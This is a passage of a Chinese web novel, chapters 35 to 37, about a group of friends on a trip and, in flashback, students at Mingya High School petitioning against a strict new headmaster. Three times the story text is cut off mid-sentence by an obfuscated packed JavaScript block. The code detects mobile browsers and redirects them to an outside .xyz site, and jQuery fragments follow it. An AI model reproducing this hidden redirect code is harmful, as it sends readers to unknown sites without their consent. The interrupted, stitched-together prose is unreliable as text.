周翎哼了一声,没理会这茬,自顾自分析起来:“我觉得你先入为主,有点当局者迷了,反正我今天旁观的角度,就是觉得他们两个之间不一般。”她看了几眼盛霏,又无语道,“随便吧,反正你也根本不关心的。” 盛霏抛出一个苍白无力的反问:“我哪里不关心了!” 行行行,周翎直接问了:“他们两个为什么关系不好,你问过吗?” “这有什么好问的,和别人关系好不好,很多时候没有原因的啊,气场不合吧。”盛霏不假思索道。 “是吗?”周翎说,“那如果他们实际上很合,只是因为某件事闹了矛盾,两方谁都没低头让步,就这么僵硬地对峙下来——这种算不算关系不好?” 这倒把盛霏问住了。 她顿了顿,想起是有这么回事,乔迦茵跟她吐露过。 好像是说其他人以为他们两个在一起……? 不过如果把那个所谓的误会搬出来,好像要把事情越描越黑。 “不会啦,他们两个成天针锋相对的,哪里有半点苗头。”盛霏对周翎道,“你想多了。” 周翎还是有点气鼓鼓的,只道:“我管不了你,反正我把话说给你听了。” * 盛霏面上笑嘻嘻地将这个话题打发过去,脑子里想着他们两个八成没什么,周翎磕CP磕多了,看谁和谁都有那么个无中生有的意思,但下意识还是留了心,往回走的路上慢腾腾回想这一路来乔迦茵和宋玉津共处时分的情景,是她受周翎影响,还是说真有几分欲说还休的意思? 她拉开车门上车,车里三人正在谈话。 邵允承和乔迦茵坐在后座,前者双手随意交握着搭在双膝之间,专心聆听的姿态,后者半倚着车窗,爱答不理。副驾驶上的宋玉津稍侧着头,温润视线像是投向乔迦茵,又像是看着整个后座。至于神情,他脸上一贯是那种闲散的笑,俊秀好看,却也具备欺骗性:比如盛霏现在就分辨不出,他是在对着乔迦茵笑,还是日常谈话中随意的笑容。 至于两人之间的氛围,怎么看都有一点。但实际上昏暗车厢,男女对话,怎么样都多少有氛围。 她既上了车,乔迦茵自然就说了一句:“你来啦。” “嗯。”因为在思考,就简单应了一个字。 乔迦茵心想盛霏转性了,不爱说话了? 她诧异地看了看外面,说:“周翎回去了?我们不用送送她?” “噢。”停了几秒才回答,“用不着的,她家就在附近,自己走回去了。” 这次说话的人变作宋玉津:“我们回酒店?” 盛霏发动车子,回答依旧简单:“对。” 宋玉津也感觉到不对,侧头看她一眼:“你是不是累了,要不换我来开?” “不行!”盛霏反应很大,怒而护方向盘。 宋玉津投降:“行行行,没人和你抢。” 酒店离得不远,夜间驾车也就二十分钟。盛霏心不在焉,开车分神想事情,话比往常少些,邵允承倒是得以获取点歌权,操作着给大家分享了几首他喜欢的歌曲。 邵允承的喜好显而易见,欧美R&B。 在抒情音乐的背景下,盛霏来了一句:“J,你一直没跟我说你前男友的事情,你们为什么分手了?” 当事人还没回答,宋玉津先笑了:“这么突然问这个?” “因为她一直在回避嘛。”盛霏说。 怎么看都不像是合适的语境。不是松散的小餐馆,没有几杯小酒,车上坐着的是阔别多年关系难以界定的同学,竞争关系的同事介绍的对象。乔迦茵原本在看窗外发呆,被cue到才转回视线,蓦然对到前方后视镜里盛霏略带探究的眼睛。 她一瞬间觉得好没劲,反正现实生活已经过得一地鸡毛了,还有什么伪装体面的必要。 于是乔迦茵坦承:“他劈腿了。” 两位男士齐齐投来震惊的目光,盛霏都一时忘了心头持续打转的清浅疑惑,“啊”地叫了一声:“我就说他一看就是渣男!你怎么又遇到这种人了!快详细说一下!” 说都说了,无所谓了,乔迦茵撑着下巴道:“严格意义上还没有劈腿,他刷约会软件,刚好匹配到dating博主,人家写的约会记录,小红书推到我这里来了,其实也蛮搞笑的。看上去就吃了那一顿饭,哦,还看了电影。” 盛霏努力回忆:“我都忘了他叫什么名字来着?” “汪斐啊。”乔迦茵提醒她。 “哦,那个二代。”这下回忆起来了,“看着还挺人模狗样的,是不是比你小一点。” “对,小一岁。”乔迦茵补充一个优点,“不仅长得帅,做饭还很好吃。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959791|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “劈腿你还夸。” “事实嘛。”她说,“而且我当时有个项目急着交材料,忙一个多月没理他,他本来好像就是那种患得患失的性格。” “别给他找理由了。”盛霏又怒斥了一句渣男,语气逐渐变得洋洋自得,“行了,你这眼光真的没谁了,每一任都是各有各的花花肠子,我早就说了,你找的男朋友——” 宋玉津咳嗽一声。 乔迦茵从后面拍了盛霏一记,语气带笑,揶揄她:“我男朋友还在车上呢。” 盛霏紧急咽下话头,分神转过头去笑呵呵地道歉:“不好意思啊小邵,忘了你了。” 邵允承诚惶诚恐:“不用不用,没关系。” 宋玉津:“盛霏你看着点路。” 盛霏敷衍道:“看着看着。”语气稍显不快。 宋玉津没放在心上,乔迦茵倒是从后视镜回看了她几眼,没明白盛霏什么时候对宋玉津起了情绪。 后面的十几分钟,几人没再怎么说话,盛霏兴致不高,另外两个男士在乔迦茵讲完分手缘由后,觉得不便多说什么。车厢内陷入安静,乔迦茵偏着脑袋抵在车窗上,摇晃中闭上了眼睛。 到达时的一个刹车就让她再度惊醒过来,隐约记得短暂瞌睡里闪现过一个梦,在盛霏召唤她下车之后,梦里的内容一下子就完全想不起来了,怅然若失。 刚进大堂盛霏突然停步,说她忘记拿无人机回房间导照片,火速跑了出去。 无人机就在车后备箱,一来一回没多久。三人便在大堂的软座坐下等她。 “照片一定要今天导?”邵允承茫然地问,“不是说她朋友圈发得很慢。” “之所以朋友圈发得很慢,是因为她会把所有照片导出来精修之后再挑选。”乔迦茵这些天在房间里见惯了盛霏的操作。 宋玉津坐他俩对面,离得有点远,原本心不在焉地看着手机,闻言不由得抬起头来,郁闷道:“原来她今天把手机给我挑照片,那些还不是全部,大意了。” 邵允承笑了笑,乔迦茵没理他。 宋玉津目光掠过她的时候,露出了若有所思的神情。 但他并未作多余的停留,恰到好处地收回视线,又低下头玩手机去了。 有手机铃声响。是邵允承的电话,似乎是工作上的事,他向两人打了个招呼后,转身移步到外面去接听了。 宋玉津这会儿说话了。 “至于这么难过?”他费解道,“你有那么喜欢你那个渣男前男友?” “啊?”乔迦茵跟不上他思路。 宋玉津说:“你脸上写的。” 说她看上去难过,什么莫名其妙的,乔迦茵觉得颇为荒谬,道:“我天生一副臭脸,你又不是第一天知道。” “说的什么话。”宋玉津还有点生气地指责起她来了,但很快又低头凑过来,问,“你没否认,是真的很喜欢那个叫汪斐的?” 名字都给他记住了。 “没有啊,没有多么喜欢。”乔迦茵表情澄澈,“你不是自己言之凿凿地说过我只会享乐吗?我不喜欢男人,我只享受他们。” 宋玉津:“……” 还不如不问,搬起石头砸自己的脚。 远远看见盛霏回来了,一头扎进玻璃旋转门。 他坐回原来的位置,忍不住还是嘀咕了一句:“我哪里言之凿凿了……” 35. 第 35 章 新学期伊始,上学期期末考排次在年级前十五名的学生被逐个召集到中央大楼的会议室。 负责通知的学生没料到找乔迦茵颇费功夫。课间去教室没找到人,上午第四节课跟老师提前打招呼,下课铃响前赶去乔迦茵在的教室,也没找到人,似乎提前开溜去吃午饭了,去食堂更是堵不到人,饭后去她寝室,室友说乔迦茵应该还在外面。这倒霉学生总算反应过来,这位行踪诡谲的乔迦茵显而易见,课间躲起来用手机点外卖,午饭时间前赶着去拿,午休时间不知道在哪里吃外卖。 该学生还是想象力不足。乔迦茵拿了一张不知多久以前找闫倩签过字的采购单子,带温见竹大摇大摆出了校门,在学校附近的商场吃午饭。 看到室友发来的消息时才动身返校,紧赶慢赶也来不及了,索性将手揣进兜里悠闲地走。 按理说中央大楼从正门直走过去最近,不过她还陪着要回去休息的温见竹沿着寝室楼绕了一段路。 有接连几棵粗大树木横卧在道路旁,乔迦茵讶异道:“这什么情况?” “噢,我有听说。”温见竹说,“新校长好像要重新修整校园,所以最近几天在砍树。” “我们换了校长?” “你还真的是什么都不关心啊。老校长本来就是退休返聘的,现在彻底养老去了,新来这个,是区重点调过来的。”温见竹道,“说是在以前的学校就喜欢砍树。” 乔迦茵道:“一点也不环保。” 她姗姗来迟,会议室的长桌早就坐满了,一眼过去先望见宋玉津,但他两边都坐了人,黎远身边倒有一个空位。 主位的中年男子大腹便便正襟危坐,似乎话说到一半,被推门而入的她打断,还是笑容可掬道:“进来的这是哪位同学?” “乔迦茵。”她自己报了名字,走到黎远身边。 “噢噢——”主位的人扬起声调。 乔迦茵刚拉开椅子要坐下,这才察觉原来对话并未结束,动作顿住侧过头看他。 这中年男每讲一个字,胸前的衬衫衣缝就应和着一张一合,仿佛是衬衫在说话:“你就是那位乔同学啊,年级第四?你们年级主任跟我说过很看好你。不错不错,你们班年级前十五占了三个,看来是你带了个好头。” 她不知如何作答,笑一笑坐下了。 然后掩着嘴问黎远:“这是谁?”她大概错过了他的自我介绍环节。 黎远回答:“新校长。” 砍树那个。 她又问:“叫我们过来干嘛?” 黎远表情也浮上几许迷茫:“不知道。” 和黎远交头接耳的时候,宋玉津从桌子另一边投来视线。 乔迦茵目光和他撞上,不知怎么觉得有点微妙的心虚,简单扬手招呼了一下。 宋玉津看她两眼,似乎是有点不爽,眼睛转开了,过一会儿才又转回来,向她扬手,幅度极其轻微,大概就是手指动了一动。 “同学们!”新校长突然中气十足地喊了一声,迫使所有人齐齐转头看他,又挂起笑脸来,语气慢悠悠道,“今天把你们这些成绩靠前的学生叫过来,是想跟你们好好谈谈。你们现在是高三,马上就要高考了,直接影响到整个人生的关键。 “我听说明雅中学的学生氛围很活跃,爱顶撞,尤其有的好学生也不服管教。既然现在我来了,我话放在这里,我是容不下这些的。高考才是学生的头等大事,要好纪律才能出好成绩,一个学校的规章制度、精神风貌是重中之重。学生就要有点学生的样子!还有那些集体活动啊、娱乐啊,等到上了大学有的是机会,没必要在中学搞过家家。 “市重点的年级前十五啊,是拔尖中的拔尖,老师们都对你们寄予厚望,你们也别掉链子,让我们失望!” 一席话说完,他望向学生们:“还有什么问题?” 鸦雀无声。 散会后校长径自离开。乔迦茵略歪过头,对黎远说了一句:“特地叫我们过来就是讲这几句废话?” 黎远看了眼表:“还好不算很久。” 乔迦茵笑笑没作声了,黎远温和地看她一眼,说:“我有材料要找教务处签字,先走了。” 他率先离席,其他学生们也逐个起身,三三两两说着话回教室。 乔迦茵站起来的同时,斜对角的宋玉津也站了起来。 她发现先前在教室里,大家都坐着,才没注意到,一个暑假过去,宋玉津好像长高了,脸部线条瘦削了些,身姿更加高大挺拔,气质似乎也沉郁了一点。 等出了会议室,他对她第一句话是:“你不和黎远一起走?” “……?”乔迦茵说,“他去教务处,我去干嘛?”黎远有竞赛奖项,大概是在准备自主招生。 “在外面等他之类的。”宋玉津说,“或者直接闯进教务处但是什么都不做,反正你也做得出来。” “我确实做得出来。”乔迦茵觉得合理。 得到了她的认同,宋玉津反而愈加垂头丧气,像一盆蔫了的植物。 上楼梯时,乔迦茵想起什么,随口问他。 “你假期出国旅游了?刷到你——” “乔迦茵,我有话要告诉你。” 好巧不巧同时开口说话了。 两人都怔愣两秒,乔迦茵问:“什么事?” 说到这里已经临近教室。宋玉津深深吸了一口气,简单酝酿措辞后,瞥见廖明站在教室外的走廊上张望。 “咦,廖明。”乔迦茵问了一句,“你们今天不训练?”高三体育生每天下午统一训练。 廖明怔了一秒,笑起来:“嗯,今天的取消了,老师开会。” 乔迦茵也笑:“好久没在下午看到你。” 廖明道:“那你想想办法,多取消几次训练怎么样?” “难道我想就行吗?体育教研组还是很吓人的啊。”乔迦茵白了他一眼,廖明则一副很受用的样子。 等进教室入座,宋玉津面色沉凝,对乔迦茵低声道:“你和廖明是……?” “什么?”她没反应过来他在问什么,如常地揭开保温杯盖子喝水。 他在想,之前乔迦茵没否认过自己和廖明在一起,虽然那更像是因为对闫倩说的气话,随口扯出来蒙他的,但也很难说事实究竟…… 宋玉津纠结了一会儿,几乎自言自语地说:“那这样的话,你和黎远……是不是又对廖明不太公平。” 她险些呛到,艰难将水咽下后,回过头问。 “怎么又关黎远的事?” 宋玉津问:“所以你是同时喜欢他们两个?” 乔迦茵大为震惊:“你怎么做的推理?” 一番对话之后,宋玉津总算理解乔迦茵没有和他们其中任何一个人成为男女朋友关系,是他误会。但他又想问,为什么? 黎远的那封情书他确认无误送到了乔迦茵的手上,被她打开读过。 难不成是自己写得太烂了。 …… 不可能吧…… 而廖明,乔迦茵对他的感兴趣程度昭然若揭,调笑时眼神都在发亮。 他没来得及问出这些问题,上课铃响,下午第一堂课开始了。 至于自己方才语气郑重要告诉乔迦茵的事,被两人暂时付诸脑后。 各教研组的老师都在开会,教师们开了连着两周的会。 而学生们的反应要迟一步,体会到新校长全方位渗透下来的压力,是在第一次月考后。 新校长崇尚军事化管理,加强了对外卖、迟到、宿舍不卫生情况的审查严格程度和相应处罚,这些尚且是小事。原本学生用于放松的大课间、午休及晚自习前后时间,都安排了各个教师在校园里巡逻,检视学生们是否有任何“行为不端”的情况。校长专门在早操时讲话,为了优化校风校纪,提倡同学之间的积极检举。 学生之间能有多少事情互相揭发?无非是外卖、早恋、寝室矛盾。偏偏教师们真的要一项项处理、批评教育,目不暇接。 一时间校园里冷清许多,课余时间四处闲逛的学生都少了。 此外,社团课全面取消,晚自习时间延长,并且第一个小时安排加课。 月考出分之后,各个角落方方面面都贴上了白纸黑字的全校成绩单,按照年级分开三张打表,按照分数从高到低排列,姓名班级各科成绩,前面挂着鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976617|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红的排名序号。 “这都用不上查分系统了。”乔迦茵不无讥讽地说,“别说教室,我走到厕所都能看到分数排名。” “查分系统很快用不了了。”宋玉津道。 “欸?为什么?” 宋玉津瞥她一眼,语气温和,神情却有些难辨。 “手机上那个查分系统,其实是学生会的东西,也是学生一直在负责维护和更新。” “不过,校长有裁撤学生会的想法,今年的学代会也迟迟拖着没开。” 乔迦茵瞪大眼睛:“啊?” 男生的回应就是摊了一下手。 宋玉津在去年运动会结束后的学代会上,以压倒一半的票数当选了新任学生会主席。高二一整年为学生会忙里忙外不少,眼下其实本来交完棒就终于能撒手不管,没想到横生枝节,从学生处老师那里得知这一通知。私下里也去过校长室,校长一副不由分说的态度,听不满三句话就打发他回去学习。 无法不承认,心情相当沮丧。 “整个取消吗?”乔迦茵难以置信,“不至于这样吧。” “是说要这样。”宋玉津道,“已经把所有学生社团取消了。” “那……学生会其他人知道了?” “我昨天刚告诉他们。”宋玉津晃了晃手机显示的群聊界面,“炸锅了。” 明雅中学是上世纪末建校的新学校,自第一任校长起就宣扬素质教育,在本市的高中生圈子内以校风宽松、活动丰富、学生活跃著称。新校长大刀阔斧,不啻于将二十多年学生自治的文化连根拔起。 “你们打算怎么办?”乔迦茵问。 他似乎轻微地叹了口气。 “好像没有办法。” 实际上总是到被摧毁的时候才会察觉,原来早已习惯的常态其实是一种侥幸。 而侥幸就意味着,随时都有可能被收回。 宋玉津看了会儿手机层出不穷的消息,简要敲了几个字回复,乔迦茵撑着脑袋换了个话题:“现在玩手机不怕被发现了。” “什么啊,还是怕的。”男生抬眼笑了一下,“你竟然不帮我望风吗?” “我不帮。”乔迦茵笑,“我忙着偷看你手机屏幕——这么多人都想不出维系学生会的办法?” “你要看就看。”宋玉津表情无语,“你看了就知道了。” 他将手机转了个方向给她展示,乔迦茵凑上前去,一看就乐了。 一个个都在出主意,一个比一个离奇。 【能不能聚众抗议啊!我们召集全部人去校长室抗议】 【其实有多少学生真的会在乎这件事呢……而且大多数人应该是不愿意得罪师长的】 【如果我们全员都考进年级前三十,校长有没有可能改变主意】 【不会的,别想了,而且我们也考不进】 【不如让学生会转为一个地下组织,缩写SSU,代号316,成为校园怪谈一般的存在,大家只知其存在,却不知道成员是谁,如何接触,就这样秘密地搅弄风云……】 【这听上去更值得被取缔了】 新近的消息里,有一条映入眼帘。 【可以写一封请愿信吗?写清楚我们的诉求,和学生会必须存在的理由】 对于这条的议论也是最多的。 【不会看吧】 【如果大家都签名的那种呢?】 【公车上书啊,但是公车上书最后是失败的】 【失败也是尽力了……至少要表达出我们的抗议吧】 乔迦茵将宋玉津的手机调转回去,指尖点了点那条消息。 “这个不是可以吗?”她说,“写吧。” 宋玉津态度不乐观:“写是可以写,但就像他们说的,应该没有什么用。” “虽然大多数学生不关心学生会在不在的问题,但是对于校长的一系列新要求还是有所不满的吧?”乔迦茵想了想道,“挑几个大家最反感的提一提,愿意签字的人不会少。” 宋玉津动作和她相似,支着下巴看了她一会儿,脸上没什么表情,似在思索。 半晌,言简意赅地说了一个字:“好。” 36. 第 36 章 出游行程最后一日的下午。 盛霏确定了她要去拍潮汐树的地点,不过有一个问题。 “潮汐树要用无人机拍,那个拍摄点用肉眼其实看不到什么,都被围住了。”她说,“怕你们几个无聊,我先把你们三个在可以观景的堤坝旁边放下,再自己开车过去,拍完了回来接你们,ok吗?” 剩下三人都欣然应允,任她安排。实则这数日一切都是听盛霏主张,她实在太喜欢提议。 于是盛霏查了小红书攻略,发现一处江滨公园可供行人随意观景,每晚六点后不允许在堤坝滞留。 “但我们是去看日落啊。”宋玉津说,“到那边就快六点了,岂不是直接进不去?” “说是管理员会酌情通融。”盛霏看着手机道,“你求求他们。” 宋玉津:“……” 他艰难道:“怎么求。” 邵允承接上了话:“哥你可以施展人格魅力。” 乔迦茵:“是施展美色的意思吗?” 宋玉津:“请容我拒绝,而且乔迦茵你怎么能说出这种话。” 乔迦茵嘁了一声。 盛霏说:“不是啊,我的意思是你厚下脸皮去求,实在不行放弃尊严嘛。” 盛霏对行程初期意外错过的那场金黄色日落念念不忘,将日落拍摄并入到潮汐树计划中,在公园门口放下他们仨就一溜烟开走,连告别都仅有一个单字“拜~”。 公园虽小,抵达堤坝前还要穿过一条小河和小树林,随后会发觉眼前尽是圈起的围栏。找到一扇小铁门进入,沿着阶梯下去即是江岸。三人见天色呈现出柔和的粉紫色,知道赶上了时间,开开心心地前行,却发现这片堤坝的方向不对,日落似乎应该在被背后树林和遥远山川遮挡住的彼方。 几人面面相觑,乔迦茵道:“来错了。” 宋玉津也带了相机,见状只能道:“等蓝调算了。”但他还是抬起相机取了个景,说,“你站那边试试。” 乔迦茵嘲笑他:“今天不怕我跳江了。” 宋玉津回答:“这个距离,你跳了我也来得及捞你。” 乔迦茵无法理解:“你认真的?”这人还是真心觉得自己会跳江? 邵允承凑过去看宋玉津相机屏幕:“这个角度还可以哎。” “有点背光。”宋玉津一边调整焦距,一边看画面,“……咦?” “什么?”乔迦茵站在距离一米的地方问。 宋玉津指指左边天空:“有月亮。我从右边拍你吧。” 这几句话间,看不到的地方,大约太阳已经迅速沉没,他们所处的这一片天空极快地变暗、沉淀出幽幽的蓝。 乔迦茵站得僵硬,问:“你怎么半天不拍?” “好像没法同时对上焦。”宋玉津颇为苦恼,“你和月亮。” 这个情况邵允承有应对之道:“虚月亮一张,虚她一张。都拍就行了。” 他说完还脱口而出了一句,“哥,你怎么这都没想到。” 乔迦茵听见了,也跟着损宋玉津:“就是,人家比你上道多了。” 宋玉津无语道:“我紧张,有压力。” 他说完快速瞟了一眼旁侧的邵允承,后者愣了一下,竟露出一副懂了的神色,拍了拍他的肩膀,低声道:“其实她没有那么可怕的。” ……不,你完全没懂。 三人各自拍照,在江堤上来回走动取景,调整光线滤镜,费去不少时间。才刚勉强拍完,身后传来沙沙杂音的喇叭声响:“请游客离开堤坝,请游客离开堤坝……” 那声音竟然越来越响,两道冷白强光照过来,他们回头一看,才知是管理员开着车放着喇叭过来了,气势汹汹。 乔迦茵和邵允承转头看宋玉津:“你去通融。” 宋玉津相机都没放下:“等会儿,趁他们还没发现我们,我赶紧再拍——” “那边拿着相机的游客不要再拍了,赶紧回去!” 宋玉津悻悻道:“……原来不是录音是活人。” 邵允承已开始往回走,并招手催促他们:“我们还是赶紧上去吧。” “其实从这个角度拍我们来的那个小树林,是不是挺好看的。”乔迦茵突然说。 宋玉津按她说的举起镜头对过去。 天色已彻底暗下来,那片针叶林在暮色中张牙舞爪地晃动着尖锐的枝叶。 乔迦茵补充道:“像鬼片,很有氛围。” 宋玉津无力吐槽她的审美,试着迅速取景拍摄几张后,决定先回去再看到底拍出了个什么效果——他站定拍摄不过两分钟时间,偏偏在广播cue到他之后,因而即使立刻收起相机,在巡逻管理员眼中已经是个板上钉钉的刺头。 雪亮的车灯立即打了过来,那辆车竟然缓慢地向他们这里驶来! 广播愈加大声:“这边的游客,不要再拍照了,赶紧回去;这边的游客听到没有?不要再拍照了,赶紧回去。” 宋玉津欠身示意:“知道了,我们这就上去。”他还手指比划了一下向上。 “这边的游客,不要再拍照了——月亮上去也可以拍,赶快离开堤岸——” 管理员在自己的喇叭声响中压根没听见宋玉津说什么,只一味地赶他上去。 沟通失败。越来越近的车灯亮光像夜里虎视眈眈的巨兽,宋玉津无奈地叹口气,见乔迦茵被照得眯了眯眼睛,一把抓住她手:“我们走。” 这车灯光像聚光灯,衬得周遭一切愈加黑暗。黑滚滚的江水在他们身后翻涌,翻着一条条丝绫般白色的浪涛。宋玉津怕管理员再跟着他们不放,拉着乔迦茵几乎是跑了起来,沿着江岸寻到方才铁门的位置,三步两步上了台阶,然后微低下身把她直接拽了上来。 邵允承走得要快一点,在铁门这里等他们。 乔迦茵踏上最后一级台阶,一站稳就轻轻地甩开了宋玉津的手,仿佛再自然不过的一个动作。 但她在甩开他的时候,又快速低头看了一眼他。 她收回眼神后就跟随着邵允承的步伐向外走去,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986507|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉津本能地跟在后面,模模糊糊地想到,其实很早以前有过一次类似的事情发生。 那封针对新校长一系列主张的请愿信被宋玉津花一个晚上写下后,乔迦茵率先签上了自己的名字。 随后,这封信在学生群体内悄悄流传开来。宋玉津用了相对平实的口吻,本身并不多么煽情,没想到竟对学生们颇具感染力,不到一周就征得了几近半个学校的签名。 问题是,怎么交给校长? 亲手交上或是放在他办公室,想来极有可能扫一眼就不感兴趣地弃如敝屣。 经一群学生讨论过后,决定贴在中央大楼会议室门外。 一来那里成天人来人往,监控镜头角度不好,拍不到那扇门,即使导出录像也难以辨别是哪个学生在什么时候贴上的纸张。 二来,每周二全天,上午校领导会议,下午各年级教研组轮番开会,既能确保校长一定得以看到那封信,又能增强其在教师中的传播度。 宋玉津和乔迦茵在周一晚自习结束后鬼鬼祟祟地前往中央大楼,贴上了这张纸。为了节省用电,夜间大楼只开几盏微乎其微的灯,乔迦茵拿着手机手电筒照准位置后才开始贴,宋玉津站一边给她望风。 秋夜。月亮像浮于水中,散发出的光晕没什么活气,他一边腹诽乔迦茵这个贴胶带的动作太不细致,一边不太专心地看着周遭。更多时候还是在看乔迦茵。 忽然后脖颈有凉风吹过,他转头一看,楼梯上有一个人形的阴影。二楼完全没开灯,看不清面孔,视线像是朝着这里。 宋玉津默默回过头,深吸了一口气,瞥见乔迦茵上半部分已经贴完,想都没想就拽住了她手腕,阻止她继续向下贴的动作。 “有人,跑!”他压低声音说了这么一句,立即带着她沿着长廊一路狂奔,还转了好几个弯,一直到了艺术楼才放开手。 距离实在不短,乔迦茵气喘吁吁,跑完了才想起来问他:“……你看到有人?中央大楼这么晚怎么会有人啊?” 说实在话,她虽然偷偷摸摸和他来贴这个,实则也没多害怕被发现。本来就是有心去查就能查到的。 宋玉津语气倒有一丝迟疑:“看是看到了,但……” “什么啊?” “……不像我认识的任何一个老师,也不像保安。反正挺诡异的,站在二楼楼梯那边看着我们,也不说话,不知道站了多久。”宋玉津盯着她很紧,抿了抿嘴唇,说,“你有没有听说过,我们学校是有鬼故事的?” 乔迦茵:“……听过,你不用再讲了。” 她搞懂了,原来是宋玉津怕鬼。 乔迦茵又认真思考了一会儿,表情慢慢变了,甚至露出了一个像是忍笑的动作,刻意将嘴角向下撇。 宋玉津感觉不妙,她一般不会为好事而高兴的:“怎么了?” “你没听图书馆老师说?中央大楼五楼要重新装修,原本那边的孔子像没地方放,暂时摆在二楼楼道上。”乔迦茵说,“你看到的那个是孔子啊,你却撒腿就跑。” 37. 第 37 章 乔迦茵走得飞快,像有看不见的虫子会咬上脚后跟一样,整个人都是微微前倾的急行状态。 宋玉津走在她身侧。 林间小道狭窄,这么连续几步,两人之间的手背屡屡碰到一起。一次两次还能说是巧合,多了之后,乔迦茵总怀疑他是故意,抬眼看过去,旁边人神情无辜。 她索性用那只手拿起手机:“我给盛霏打个电话,问她什么时候拍完过来。” 她在此时搬出盛霏,是有意提醒宋玉津保持距离,偏偏宋玉津像是无法会意,好整以暇地看着她。 通话拨了一次,不通,到时间自动取消。乔迦茵皱皱眉头,看到宋玉津就烦,别过头去拨了第二次。响了好一会儿,盛霏终于接上电话。 树林里幽静,仅有他们和其余一些同样从堤坝上被赶出来的游客。因而手机里传出的声音格外大。 “喂?J你等一下啊……这边网络很差……噢噢,你说你们好了?我还有一会儿……” 背景电流杂音愈来愈响,话音未落,通话就中止了。 乔迦茵放下手机,宋玉津道:“看来要等她一会儿了。” 走在前面一点的邵允承也听到了内容,回过头来提议:“在刚才经过的桥那里等吧,就在大门口。” 这处公园进门的大马路就处在一条横跨小河的桥上,车辆可以开进来,另外二人没有意见。 这个时点基本没有车辆,桥面宽阔,其下河水潺潺。邵允承走在前面,在桥这一侧站定后,乔迦茵跟着他站在半米开外。宋玉津站在桥的另一侧。 邵允承没话找话地侧头问乔迦茵:“你说这里面有鱼吗?”指的是两人脚下几尺淌过的河流。 乔迦茵随意地笑了一声:“说不定有吧。” 她语气轻飘飘的,敷衍得直白,半倚在砖石阑干上,视线虚虚地落在前方路面上的某一处,眼睫微垂。长发被夜风温柔吹起,在半空中软软地散开,仿似彼此缠绕的雾气。 邵允承看她一眼,不自觉地安静下来,没再说话。 宋玉津背对着他们看了一会儿江景,随后转身朝着他们这里,也似乎是走神,不知在看着哪里,半晌没动。 水声。其余游客的谈笑声,像是隔着很远,模糊而杳然地传来。 等了很久了…… 快要将近二十分钟。 宋玉津突然站直了一些,随后,穿过空空如也的车道大步走来。 他冲着邵允承走过来的,在他身边站定,一边手臂闲适地搭在阑干上,半侧着身,稍微皱着眉头问:“你有没有觉得蚊子很多?” “有。”邵允承说,“我快被咬死了。”他时不时就要掸一掸衣袖裤腿,还在暗自忖思同行的这两人怎么动都没动一下。 旁侧一道人影闪动,乔迦茵默不作声地走到对面那侧去了,没看他们一眼。 她今天穿的裙子,一小截小腿暴露在外,大约也是受到蚊虫侵扰,不适地来回抬脚调整。 邵允承忍不住视线追过去,没注意宋玉津也盯着那里在看——乔迦茵还是倚靠阑干的姿势,在低头敲手机。 “随时随地原地逃离”群里,一连冒出几条消息。 乔迦茵:【@盛霏拍完了吗?还有多久才能到啊】 乔迦茵:【再不来我们三个被蚊子吸干了】 盛霏:【在回来了,等我一阵】 盛霏:【你就当我是个龟速的滴滴司机】 乔迦茵:【那我要投诉你】 过了一分钟,盛霏发了条语音到群里。 宋玉津和乔迦茵在桥的两侧先后点开,声音重复交叠。 盛霏耍赖道:“哎呀别投诉我嘛,不是我的问题,是这边这个红绿灯它特别长啊,一百多秒。” 又一条:“给你们分享下我拍到的。” 群聊里猝然冒出十多张图片。 乔迦茵:【没见过滴滴司机给人放ppt的。】 盛霏打了六个句号。 宋玉津也发了一条:【怎么还有空打字】 盛霏:【因为不能闯红灯】 乔迦茵将手机收回去了,一抬眼又撞上宋玉津的视线,暮色里那种眼神说不清道不明,她藏在口袋里的手指稍微颤了一下。 她偏开头,闭了闭眼睛。 踮起脚尖,重心落不到实处,河水流淌而过,仿佛踏在水中。 这一片路灯稀疏,再度睁开眼时,感觉天色又黑了一些。 对面那两个谈话的青年都稍稍侧过眸看着她。 乔迦茵想了想,抬脚向着那里走去。 两人不确定她是否找的是自己,同时转正了身。 ——两声短促的轿车喇叭响,车灯的光团由远及近。 乔迦茵退回一步,盛霏按下车窗道:“我来了!快点上车!” 盛霏累极,但精神还亢奋着,一路上话没停过——除了被她爸打来一个似乎在发着酒疯不断骂她不孝的电话后,沉默了半分钟。 乔迦茵坐在后座对她说:“要不还是拉黑吧。”她之前就劝过这个。 “啊?不太好。”盛霏道,“他会发飙,何况我逢年过节还是会回家,不是说断能断的关系。” “做起来其实并不困难。”乔迦茵语气寻常,仿佛随便提起一个旧识,“我就把我爸拉黑了,高中的时候。” 盛霏:“咦?是吗?!” 